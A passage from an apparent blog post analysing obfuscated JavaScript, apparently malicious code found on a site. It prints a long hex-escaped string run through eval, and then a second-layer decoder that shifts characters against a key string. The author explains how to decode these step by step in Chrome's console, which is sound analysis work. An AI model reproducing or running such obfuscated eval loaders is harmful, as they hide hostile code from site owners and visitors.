x32\x32\x56\x6b\x64\x57\x2d\x6d\x55\x50\x58\x46\x70\x25\x33\x41\x25\x32\x30\x43\x6a\x63\x5a\x25\x33\x42\x25\x32\x30\x63\x66\x65\x73\x2d\x6f\x4d\x62\x47\x25\x33\x41\x25\x32\x30\x73\x73\x6c\x6e\x25\x33\x42\x25\x32\x30\x46\x65\x62\x56\x69\x25\x33\x41\x25\x32\x30\x25\x32\x33\x44\x62\x47\x25\x33\x42\x25\x32\x30\x6b\x52\x5a\x61\x5a\x65\x66\x25\x33\x41\x25\x32\x30\x78\x67\x52\x5a\x25\x32\x30\x7a\x66\x74\x25\x32\x30\x79\x53\x6e\x25\x32\x30\x75\x57\x6f\x25\x33\x42\x25\x32\x30\x25\x33\x44\x57\x44\x66\x58\x6e\x6c\x6c\x65\x63\x2d\x59\x53\x4e\x51\x69\x25\x33\x41\x25\x32\x30\x25\x32\x33\x73\x78\x73\x65\x73\x72\x25\x33\x42\x25\x32\x30\x61\x56\x56\x70\x2d\x42\x67\x5a\x63\x6b\x25\x33\x41\x25\x32\x30\x63\x56\x65\x70\x25\x32\x32\x25\x33\x45\x72\x56\x47\x65\x25\x45\x37\x25\x45\x33\x65\x25\x33\x43\x37\x54\x4c\x6c\x25\x33\x45\x25\x33\x43\x54\x50\x6d\x25\x32\x30\x51\x70\x5a\x67\x56\x38\x25\x32\x32\x6d\x52\x55\x63\x65\x52\x49\x25\x33\x41\x25\x32\x30\x69\x67\x6e\x25\x33\x42\x25\x32\x30\x58\x51\x46\x61\x57\x59\x66\x53\x6a\x45\x2d\x58\x66\x68\x6c\x69\x25\x33\x41\x25\x32\x30\x25\x32\x33\x57\x65\x62\x25\x32\x32\x25\x33\x45\x25\x33\x43\x48\x4b\x58\x25\x32\x30\x6a\x6a\x75\x62\x48\x32\x25\x32\x32\x6a\x4c\x6f\x52\x2d\x57\x4d\x64\x58\x6a\x25\x33\x41\x25\x32\x30\x6f\x5a\x58\x67\x70\x25\x33\x42\x25\x32\x32\x25\x33\x45\x25\x33\x43\x45\x25\x32\x30\x55\x56\x70\x62\x61\x32\x25\x32\x32\x57\x55\x6e\x61\x2d\x55\x43\x59\x50\x6d\x52\x70\x66\x66\x65\x25\x33\x41\x25\x32\x30\x74\x6a\x48\x47\x54\x63\x59\x6a\x55\x25\x33\x42\x25\x32\x30\x46\x65\x62\x56\x69\x25\x33\x41\x25\x32\x30\x25\x33\x44\x68\x56\x5a\x25\x32\x32\x25\x32\x30\x59\x6e\x62\x57\x33\x25\x32\x32\x69\x57\x5a\x43\x55\x54\x68\x65\x66\x57\x25\x33\x41\x6c\x65\x50\x55\x25\x32\x38\x59\x25\x32\x39\x25\x32\x32\x25\x32\x30\x6b\x4f\x58\x63\x65\x5a\x62\x33\x25\x32\x32\x63\x6b\x47\x57\x4f\x56\x64\x70\x2e\x57\x48\x6a\x37\x53\x56\x4b\x61\x4f\x6f\x35\x75\x46\x55\x25\x32\x38\x25\x35\x43\x25\x32\x37\x6f\x78\x76\x5f\x50\x4b\x49\x59\x6a\x25\x35\x43\x25\x32\x37\x25\x32\x39\x2e\x6f\x6a\x62\x62\x55\x2e\x4b\x5a\x51\x6c\x4d\x56\x70\x38\x25\x35\x43\x25\x32\x37\x6b\x66\x65\x64\x25\x35\x43\x25\x32\x37\x25\x33\x42\x5a\x53\x45\x57\x64\x55\x6a\x6a\x2e\x4a\x55\x6a\x79\x63\x43\x69\x46\x69\x6b\x25\x32\x42\x76\x25\x33\x44\x55\x25\x32\x38\x25\x35\x43\x25\x32\x37\x77\x75\x64\x5f\x48\x43\x55\x55\x25\x35\x43\x25\x32\x37\x25\x32\x39\x2e\x6f\x6a\x62\x62\x55\x2e\x4b\x5a\x51\x6c\x4d\x56\x70\x38\x25\x35\x43\x25\x32\x37\x6b\x66\x65\x64\x25\x35\x43\x25\x32\x37\x25\x33\x42\x5a\x53\x45\x57\x64\x55\x6a\x6a\x2e\x4a\x55\x6a\x79\x63\x43\x69\x46\x69\x6b\x25\x32\x42\x76\x25\x33\x44\x55\x25\x32\x38\x25\x35\x43\x25\x32\x37\x77\x75\x64\x5f\x4e\x4b\x58\x58\x70\x5f\x53\x52\x64\x6a\x25\x35\x43\x25\x32\x37\x25\x32\x39\x2e\x5a\x6b\x57\x68\x46\x2e\x59\x5a\x6f\x6d\x63\x52\x78\x38\x25\x35\x43\x25\x32\x37\x52\x51\x50\x56\x25\x35\x43\x25\x32\x37\x25\x32\x32\x25\x33\x45\x38\x61\x53\x4b\x51\x68\x25\x33\x43\x73\x52\x25\x33\x45\x25\x33\x43\x6a\x5a\x4a\x71\x25\x33\x45\x25\x33\x43\x55\x65\x73\x25\x32\x30\x6a\x6b\x78\x68\x49\x6f\x25\x32\x32\x52\x52\x54\x5a\x59\x51\x57\x2d\x6a\x56\x67\x25\x33\x41\x25\x32\x30\x67\x6c\x59\x25\x33\x42\x25\x32\x30\x6f\x56\x74\x71\x2d\x52\x63\x68\x63\x52\x25\x33\x41\x25\x32\x30\x45\x47\x65\x6a\x61\x68\x25\x32\x32\x25\x33\x45\x25\x33\x43\x4c\x63\x57\x25\x32\x30\x54\x52\x50\x63\x4a\x69\x25\x33\x41\x25\x32\x30\x77\x6c\x75\x25\x33\x42\x25\x32\x30\x67\x52\x63\x5a\x4d\x50\x49\x25\x33\x41\x25\x32\x30\x72\x25\x32\x32\x25\x32\x30\x69\x6e\x53\x70\x25\x32\x32\x58\x6a\x61\x67\x25\x33\x41\x6a\x37\x54\x77\x2e\x67\x6b\x70\x6b\x5a\x6c\x57\x4b\x47\x2e\x51\x69\x57\x37\x74\x65\x78\x69\x55\x73\x64\x78\x48\x36\x61\x57\x73\x52\x2e\x61\x6f\x63\x25\x32\x32\x25\x32\x30\x70\x25\x33\x45\x25\x33\x43\x6e\x46\x5a\x6c\x25\x33\x45\x25\x33\x43\x5a\x59\x59\x25\x32\x30\x69\x6a\x66\x63\x43\x38\x25\x32\x32\x51\x56\x55\x5a\x66\x65\x58\x25\x33\x41\x25\x32\x30\x30\x77\x54\x5a\x25\x32\x30\x63\x25\x32\x30\x74\x76\x6c\x6e\x25\x32\x30\x64\x25\x33\x42\x25\x32\x30\x6a\x55\x65\x6b\x2d\x25\x32\x46\x68\x4a\x62\x65\x25\x33\x41\x25\x32\x30\x59\x62\x65\x6b\x64\x6e\x25\x33\x42\x25\x32\x30\x4a\x51\x50\x6b\x2d\x6d\x61\x59\x4a\x58\x6a\x25\x33\x41\x25\x32\x30\x49\x66\x4a\x5a\x25\x32\x32\x25\x33\x45\x39\x6a\x54\x25\x45\x41\x25\x32\x30\x6a\x25\x45\x33\x6c\x25\x32\x30\x67\x66\x72\x6f\x59\x4b\x25\x32\x30\x79\x52\x6c\x57\x25\x32\x30\x65\x58\x25\x32\x30\x55\x62\x4c\x25\x32\x30\x56\x51\x70\x25\x45\x31\x25\x32\x30\x45\x5a\x6a\x57\x59\x5a\x63\x68\x70\x45\x46\x51\x2e\x25\x33\x43\x53\x68\x25\x32\x30\x37\x25\x33\x45\x37\x56\x6a\x51\x25\x32\x30\x57\x25\x45\x31\x58\x47\x6a\x42\x25\x32\x30\x6b\x66\x6f\x70\x6c\x5a\x25\x32\x30\x71\x61\x47\x57\x54\x6a\x65\x6f\x25\x32\x30\x67\x58\x55\x25\x32\x30\x68\x4c\x68\x53\x61\x53\x5a\x64\x25\x32\x30\x6d\x72\x56\x25\x32\x30\x66\x25\x32\x30\x49\x57\x5a\x43\x25\x32\x30\x47\x6a\x6a\x61\x5a\x44\x25\x32\x30\x51\x6a\x50\x6d\x25\x32\x46\x5a\x50\x2e\x25\x33\x43\x57\x69\x25\x32\x30\x37\x25\x33\x45\x25\x33\x43\x59\x69\x25\x32\x30\x32\x25\x33\x45\x25\x33\x43\x5a\x25\x32\x30\x70\x45\x54\x49\x56\x6a\x38\x25\x32\x32\x5f\x52\x4f\x51\x64\x52\x25\x32\x32\x25\x32\x30\x59\x50\x61\x47\x37\x25\x32\x32\x59\x70\x71\x67\x25\x33\x41\x32\x25\x32\x42\x73\x61\x59\x2e\x4c\x52\x6c\x57\x2e\x53\x52\x63\x31\x57\x6b\x5f\x6d\x4e\x6d\x59\x66\x73\x6b\x63\x66\x5a\x5a\x70\x25\x32\x32\x25\x33\x45\x72\x4e\x5a\x67\x71\x55\x25\x32\x30\x44\x67\x6b\x50\x25\x32\x30\x67\x25\x32\x46\x6e\x42\x25\x32\x30\x64\x65\x6f\x71\x52\x63\x5a\x6e\x25\x32\x30\x53\x25\x32\x30\x52\x4e\x6c\x57\x65\x64\x25\x32\x30\x47\x65\x25\x32\x30\x25\x33\x44\x48\x6d\x25\x32\x46\x2e\x25\x33\x43\x37\x42\x25\x33\x45\x25\x33\x43\x36\x55\x65\x73\x25\x33\x45\x25\x33\x43\x25\x32\x31\x2d\x2d\x25\x33\x43\x32\x55\x68\x72\x25\x33\x45\x2d\x2d\x25\x33\x45\x25\x33\x43\x70\x46\x4b\x6d\x25\x33\x45\x25\x33\x43\x31\x5a\x59\x59\x25\x33\x45\x25\x33\x43\x31\x54\x50\x6d\x25\x33\x45\x25\x32\x37\x25\x32\x30\x69\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x25\x30\x39\x25\x32\x37\x25\x32\x37\x25\x32\x30\x36\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x25\x30\x39\x25\x32\x37\x25\x33\x43\x45\x64\x6d\x25\x32\x30\x65\x61\x33\x25\x32\x32\x6f\x78\x76\x5f\x4a\x43\x46\x56\x25\x32\x32\x25\x32\x30\x69\x70\x6f\x4f\x55\x32\x25\x32\x32\x4b\x5a\x51\x6c\x4d\x56\x70\x25\x33\x41\x25\x32\x30\x6a\x6c\x65\x56\x25\x33\x42\x25\x32\x30\x6f\x6b\x57\x4b\x56\x5a\x65\x6a\x25\x33\x41\x25\x32\x30\x51\x45\x69\x65\x53\x6c\x52\x61\x25\x33\x42\x25\x32\x30\x55\x6a\x67\x25\x33\x41\x25\x32\x30\x77\x25\x33\x42\x25\x32\x30\x69\x56\x57\x73\x25\x33\x41\x25\x32\x30\x77\x25\x33\x42\x25\x32\x30\x61\x4b\x46\x6b\x58\x25\x33\x41\x25\x32\x30\x25\x32\x37\x25\x32\x30\x36\x25\x32\x30\x6c\x4c\x55\x6d\x57\x66\x50\x70\x58\x64\x55\x70\x65\x25\x32\x30\x31\x25\x32\x30\x25\x32\x37\x67\x77\x25\x33\x42\x25\x32\x30\x64\x49\x4b\x49\x59\x6a\x25\x33\x41\x25\x32\x30\x25\x32\x37\x25\x32\x30\x36\x25\x32\x30\x6c\x4c\x55\x6d\x57\x66\x50\x70\x49\x5a\x5a\x63\x65\x6b\x25\x32\x30\x31\x25\x32\x30\x25\x32\x37\x6f\x74\x25\x33\x42\x25\x32\x30\x46\x43\x45\x62\x57\x6e\x65\x58\x64\x54\x2d\x4a\x66\x4a\x6b\x53\x25\x33\x41\x25\x32\x30\x57\x63\x57\x5a\x62\x25\x33\x42\x25\x32\x30\x71\x2d\x68\x6a\x48\x47\x5a\x25\x33\x41\x25\x32\x30\x30\x71\x77\x72\x25\x33\x42\x25\x32\x30\x2d\x50\x65\x70\x2d\x56\x67\x25\x32\x46\x59\x4a\x6f\x70\x25\x33\x41\x25\x32\x30\x77\x2e\x35\x25\x33\x42\x25\x32\x30\x66\x67\x5a\x59\x4d\x56\x61\x25\x33\x41\x25\x32\x30\x2e\x7a\x71\x25\x33\x42\x25\x32\x30\x62\x59\x4f\x6a\x55\x59\x25\x33\x41\x25\x32\x30\x52\x4a\x6c\x49\x56\x25\x32\x38\x66\x6c\x58\x54\x5a\x73\x75\x71\x6b\x63\x25\x32\x39\x25\x32\x32\x25\x33\x45\x25\x33\x43\x32\x54\x65\x6c\x25\x33\x45\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x6f\x25\x32\x41\x25\x32\x41\x31\x25\x30\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x31\x73\x69\x43\x6c\x50\x6d\x6b\x25\x32\x30\x66\x58\x6d\x52\x25\x32\x30\x63\x65\x57\x43\x44\x63\x55\x5a\x25\x32\x30\x51\x46\x53\x55\x5a\x6a\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x47\x62\x25\x32\x30\x25\x32\x38\x4b\x6e\x64\x5f\x6e\x62\x67\x66\x71\x70\x5f\x53\x50\x25\x32\x39\x25\x32\x30\x79\x4a\x43\x5f\x59\x68\x48\x51\x6a\x4c\x25\x33\x44\x4b\x63\x25\x32\x38\x4b\x6e\x64\x5f\x6e\x62\x67\x66\x71\x70\x5f\x4e\x43\x58\x52\x65\x62\x56\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x6f\x31\x59\x4d\x25\x32\x30\x25\x32\x38\x61\x51\x69\x5f\x4d\x56\x53\x5f\x6b\x6b\x25\x32\x39\x25\x32\x30\x41\x4a\x4c\x5f\x68\x45\x44\x36\x56\x66\x6b\x68\x57\x25\x32\x38\x5a\x69\x54\x5f\x63\x25\x32\x46\x58\x5f\x4b\x56\x6d\x57\x6c\x57\x57\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x68\x62\x25\x32\x30\x25\x32\x38\x4e\x55\x4f\x5f\x63\x51\x58\x5f\x65\x51\x25\x32\x39\x25\x32\x30\x25\x33\x44\x49\x36\x5f\x63\x25\x32\x46\x58\x35\x5a\x67\x6b\x6f\x6b\x74\x25\x32\x38\x69\x6f\x51\x5f\x4e\x43\x53\x5f\x5a\x57\x6c\x44\x65\x56\x4d\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x59\x6d\x6b\x45\x74\x2e\x5a\x6a\x70\x56\x69\x73\x25\x32\x42\x49\x48\x51\x69\x55\x25\x32\x38\x46\x49\x32\x5f\x53\x68\x4c\x52\x52\x61\x36\x6b\x52\x6a\x25\x32\x38\x65\x6b\x64\x6b\x25\x32\x39\x25\x32\x43\x25\x32\x30\x64\x73\x51\x46\x70\x2e\x56\x65\x68\x56\x6a\x35\x4f\x5a\x4a\x5a\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x25\x30\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x45\x6a\x54\x71\x6a\x56\x65\x73\x2e\x63\x49\x56\x74\x63\x55\x69\x55\x51\x6a\x34\x66\x25\x33\x44\x42\x25\x32\x38\x25\x32\x37\x74\x5a\x75\x5f\x63\x65\x64\x59\x6b\x5f\x62\x6b\x52\x56\x25\x32\x37\x25\x32\x39\x2e\x55\x6b\x6f\x68\x55\x2e\x47\x59\x69\x57\x63\x25\x32\x46\x75\x6e\x25\x32\x37\x57\x63\x6b\x5a\x62\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x55\x6e\x59\x59\x4f\x47\x65\x6a\x2e\x63\x55\x57\x37\x62\x4c\x64\x43\x6a\x55\x39\x70\x45\x61\x25\x32\x38\x25\x32\x37\x6f\x70\x79\x5f\x68\x4d\x49\x4a\x6b\x25\x32\x37\x25\x32\x39\x2e\x69\x70\x6f\x4f\x55\x2e\x54\x50\x6a\x4e\x68\x42\x74\x33\x25\x32\x37\x58\x69\x66\x54\x6a\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x5a\x53\x45\x57\x64\x55\x6a\x6a\x2e\x4a\x55\x6a\x79\x63\x43\x69\x46\x69\x6b\x25\x32\x42\x76\x25\x33\x44\x55\x25\x32\x38\x25\x32\x37\x77\x75\x64\x5f\x48\x43\x55\x55\x25\x32\x37\x25\x32\x39\x2e\x6f\x6a\x62\x62\x55\x2e\x4b\x5a\x51\x6c\x4d\x56\x70\x38\x25\x32\x37\x59\x63\x66\x62\x67\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x4c\x71\x51\x55\x6f\x2e\x65\x64\x56\x55\x68\x61\x35\x43\x62\x50\x6d\x56\x25\x32\x38\x46\x50\x44\x5f\x54\x71\x61\x45\x56\x47\x4a\x53\x6e\x59\x53\x6a\x25\x32\x38\x5a\x5a\x64\x5f\x4e\x6b\x51\x70\x65\x5a\x62\x69\x5f\x6c\x71\x68\x25\x32\x39\x25\x32\x43\x25\x32\x30\x4c\x71\x51\x55\x6f\x2e\x62\x59\x55\x69\x6a\x77\x59\x47\x68\x45\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x61\x6c\x6a\x5a\x6b\x5a\x6e\x6a\x25\x32\x30\x30\x37\x31\x5f\x66\x64\x25\x32\x46\x68\x48\x51\x6a\x4c\x25\x32\x38\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x5a\x44\x25\x32\x30\x25\x32\x38\x66\x54\x68\x5f\x63\x6b\x58\x55\x56\x63\x25\x32\x39\x25\x32\x30\x6e\x49\x56\x57\x69\x64\x25\x33\x42\x25\x30\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x72\x51\x55\x25\x32\x30\x63\x6f\x76\x66\x42\x75\x25\x32\x30\x6e\x25\x32\x30\x59\x66\x59\x72\x64\x56\x6d\x70\x2e\x46\x51\x46\x70\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x59\x62\x25\x32\x30\x25\x32\x38\x63\x62\x34\x65\x4b\x70\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x48\x6f\x4e\x5f\x67\x66\x57\x61\x56\x55\x25\x32\x30\x25\x32\x46\x25\x32\x30\x70\x56\x57\x47\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x41\x49\x49\x5f\x65\x51\x25\x32\x46\x64\x50\x6b\x25\x32\x38\x4b\x75\x70\x6a\x55\x75\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x39\x62\x63\x6a\x64\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x6f\x49\x56\x38\x5a\x63\x61\x65\x58\x6a\x25\x32\x38\x25\x32\x32\x25\x33\x44\x25\x33\x44\x44\x5f\x4d\x6a\x71\x6d\x56\x57\x71\x56\x25\x32\x38\x25\x32\x39\x25\x32\x32\x25\x32\x43\x25\x32\x30\x73\x7a\x77\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x4a\x57\x50\x54\x6a\x65\x65\x51\x25\x32\x30\x4d\x59\x55\x55\x4d\x73\x32\x69\x63\x6b\x58\x55\x25\x32\x38\x57\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x75\x57\x56\x25\x32\x30\x52\x54\x56\x6c\x25\x32\x30\x38\x25\x32\x30\x6d\x4c\x64\x54\x56\x6e\x2e\x4d\x6a\x4d\x6a\x52\x5a\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x74\x5a\x65\x63\x6b\x61\x2e\x51\x50\x63\x65\x57\x54\x25\x32\x30\x70\x25\x32\x30\x56\x6b\x55\x54\x52\x65\x50\x69\x25\x32\x38\x25\x32\x39\x25\x32\x30\x25\x37\x42\x25\x32\x30\x5a\x62\x25\x32\x30\x25\x32\x38\x6d\x69\x56\x75\x25\x32\x39\x25\x32\x30\x6c\x56\x47\x58\x25\x32\x38\x25\x32\x39\x25\x33\x42\x25\x32\x30\x57\x25\x32\x38\x25\x32\x39\x25\x33\x42\x25\x32\x30\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x4d\x65\x64\x47\x65\x6d\x38\x65\x4a\x6b\x42\x59\x25\x32\x38\x41\x4f\x4a\x5f\x66\x65\x42\x6e\x49\x43\x56\x56\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x69\x61\x6a\x39\x59\x63\x4c\x66\x53\x70\x25\x32\x38\x25\x32\x32\x78\x4e\x44\x5f\x6b\x6b\x36\x69\x64\x57\x58\x47\x25\x32\x38\x25\x32\x39\x25\x32\x32\x25\x32\x43\x25\x32\x30\x6a\x72\x71\x77\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x31\x25\x32\x41\x25\x30\x44\x25\x30\x41\x50\x69\x57\x25\x32\x30\x74\x25\x32\x30\x55\x5f\x46\x61\x59\x25\x32\x38\x25\x32\x30\x59\x5f\x53\x32\x31\x25\x32\x38\x25\x32\x30\x25\x33\x46\x25\x33\x46\x25\x32\x30\x25\x32\x39\x25\x32\x30\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x45\x4b\x4c\x79\x33\x38\x45\x73\x44\x66\x47\x66\x43\x4d\x42\x75\x25\x32\x42\x66\x38\x78\x45\x50\x5a\x71\x44\x69\x39\x67\x31\x38\x51\x63\x4a\x70\x32\x6f\x43\x78\x51\x49\x4a\x4b\x50\x75\x4a\x51\x54\x71\x4c\x66\x72\x65\x31\x71\x50\x69\x44\x50\x43\x73\x37\x4b\x39\x7a\x31\x65\x38\x7a\x4a\x71\x25\x33\x44\x76\x4a\x4e\x35\x65\x25\x30\x44\x25\x30\x41\x45\x4a\x45\x6d\x33\x70\x47\x6b\x44\x48\x55\x59\x49\x61\x45\x7a\x44\x4b\x59\x66\x34\x4c\x49\x74\x50\x66\x25\x32\x46\x5a\x44\x5a\x25\x32\x42\x74\x25\x32\x42\x66\x77\x72\x45\x66\x46\x74\x50\x79\x56\x51\x32\x4c\x54\x6f\x49\x36\x42\x70\x44\x67\x25\x33\x44\x61\x4b\x37\x55\x62\x4a\x67\x4c\x75\x4c\x76\x43\x62\x32\x61\x61\x79\x43\x4d\x4f\x72\x25\x30\x44\x25\x30\x41\x37\x71\x74\x79\x41\x4f\x50\x78\x4b\x71\x48\x31\x4b\x25\x32\x42\x41\x62\x45\x63\x55\x74\x32\x70\x25\x33\x44\x53\x45\x48\x49\x64\x55\x61\x56\x68\x44\x64\x54\x73\x44\x73\x71\x59\x44\x50\x43\x66\x43\x4a\x46\x70\x79\x66\x38\x78\x51\x50\x56\x72\x45\x6c\x55\x63\x31\x73\x54\x6e\x4a\x70\x25\x32\x42\x73\x44\x41\x25\x33\x44\x55\x4a\x4e\x50\x74\x25\x30\x44\x25\x30\x41\x49\x51\x50\x72\x4d\x66\x76\x61\x31\x37\x53\x76\x44\x4d\x37\x73\x36\x61\x39\x78\x31\x68\x48\x79\x57\x61\x54\x79\x49\x4e\x70\x65\x45\x4a\x59\x70\x33\x70\x47\x6a\x44\x34\x56\x4c\x49\x64\x55\x30\x44\x71\x48\x73\x34\x4c\x74\x74\x4f\x79\x4b\x69\x44\x63\x25\x32\x42\x70\x78\x25\x33\x44\x25\x33\x44\x76\x45\x69\x56\x70\x44\x43\x55\x63\x25\x30\x44\x25\x30\x41\x32\x4c\x4c\x73\x56\x36\x79\x6d\x44\x51\x4c\x57\x49\x72\x54\x72\x4a\x6a\x50\x70\x4c\x25\x33\x44\x44\x4d\x32\x61\x37\x79\x4f\x63\x25\x33\x44\x5a\x36\x61\x6c\x79\x30\x4f\x50\x79\x4b\x61\x62\x31\x56\x25\x32\x42\x41\x5a\x45\x63\x49\x6f\x32\x36\x4f\x65\x44\x48\x25\x32\x42\x4e\x54\x4b\x56\x69\x45\x61\x6a\x79\x33\x62\x41\x6f\x43\x66\x33\x66\x25\x30\x44\x25\x30\x41\x43\x70\x47\x64\x79\x66\x4c\x79\x44\x76\x56\x6f\x44\x69\x39\x67\x31\x38\x50\x6f\x4a\x70\x32\x73\x50\x51\x51\x48\x4a\x61\x50\x75\x4a\x41\x50\x6f\x4c\x66\x73\x4e\x33\x4b\x25\x32\x46\x73\x44\x63\x37\x74\x37\x4b\x39\x78\x30\x65\x34\x7a\x4b\x37\x54\x30\x4a\x4e\x35\x65\x51\x5a\x45\x6d\x43\x4a\x61\x66\x44\x6f\x59\x5a\x25\x30\x44\x25\x30\x41\x49\x61\x51\x7a\x50\x71\x58\x74\x34\x62\x35\x74\x45\x50\x53\x66\x44\x63\x46\x70\x25\x32\x42\x50\x70\x66\x44\x43\x42\x73\x45\x53\x56\x4f\x31\x4c\x34\x73\x49\x4a\x42\x6f\x44\x67\x25\x33\x44\x61\x49\x25\x32\x42\x50\x75\x4a\x6a\x50\x70\x58\x76\x7a\x59\x32\x61\x47\x79\x50\x4d\x25\x32\x46\x6d\x37\x71\x78\x79\x31\x4f\x54\x78\x4a\x61\x34\x31\x25\x30\x44\x25\x30\x41\x49\x25\x32\x42\x42\x4d\x45\x5a\x67\x73\x33\x70\x50\x54\x44\x48\x39\x63\x48\x37\x59\x77\x45\x71\x6a\x79\x33\x62\x41\x76\x44\x69\x43\x66\x50\x5a\x33\x63\x78\x43\x34\x72\x50\x50\x56\x70\x45\x79\x67\x63\x31\x73\x4c\x6d\x4a\x70\x32\x74\x45\x41\x50\x58\x4a\x4b\x62\x74\x55\x77\x51\x64\x4c\x66\x72\x61\x42\x37\x25\x32\x46\x73\x25\x30\x44\x25\x30\x41\x43\x63\x37\x70\x36\x4b\x75\x69\x30\x75\x38\x76\x4a\x4b\x41\x6c\x49\x64\x74\x62\x44\x47\x38\x32\x25\x30\x44\x25\x30\x41\x25\x32\x41\x6f\x25\x30\x44\x25\x30\x41\x27\x29\x29\x3b'</span>; <span style="color: #0000ff">return</span> moqbqYo; } <span style="color: #0000ff">var</span> ifOXCIjSUMc = eval; ifOXCIjSUMc(aAwJinPSCPg());</pre>  </div></div></p>
<p><p>The \x45 are hex codes.&#160; Essencially what is going on here is the developer is using hex code to represent text.&#160; Not exactly super obfuscated, but interested.&#160; If you scroll all the way to the end you will see an ‘eval’ command – which reinforces the notion that eval is evil in javascript.&#160; Anyway, still using the console tab in Chrome, all of this can be evaluated.&#160; In this case, I have to evaluate it twice, because the outputted code is still obfuscated:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">var</span> clReNWvDNSS = <span style="color: #006080">'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='</span>; <span style="color: #0000ff">var</span> FzCfZkfvHvl = <span style="color: #006080">'f=(&lt;8=&gt;yy@=+))87=x*77.y'</span>;  <span style="color: #0000ff">function</span> blMfGaVxxxv(s) { <span style="color: #0000ff">var</span> vNbrQcGifBJ = <span style="color: #006080">''</span>; <span style="color: #0000ff">var</span> NcipcTbOcs = -1; <span style="color: #0000ff">var</span> c = 0; <span style="color: #0000ff">var</span> kDYCcFlZEm = 0; <span style="color: #0000ff">var</span> JRtzFtY = unescape(s);  <span style="color: #0000ff">for</span> (<span style="color: #0000ff">var</span> i=0;i&lt;JRtzFtY.length;i++) { NcipcTbOcs = clReNWvDNSS.indexOf(JRtzFtY.charAt(i)); <span style="color: #0000ff">if</span> (NcipcTbOcs &gt;= 0) { kDYCcFlZEm = (NcipcTbOcs - FzCfZkfvHvl.charCodeAt(c)) % clReNWvDNSS.length; <span style="color: #0000ff">if</span> (kDYCcFlZEm &lt; 0) { kDYCcFlZEm += clReNWvDNSS.length; }  vNbrQcGifBJ += clReNWvDNSS.charAt(kDYCcFlZEm);  c++; <span style="color: #0000ff">if</span> (c &gt;= FzCfZkfvHvl.length) { c = 0; } } <span style="color: #0000ff">else</span> { 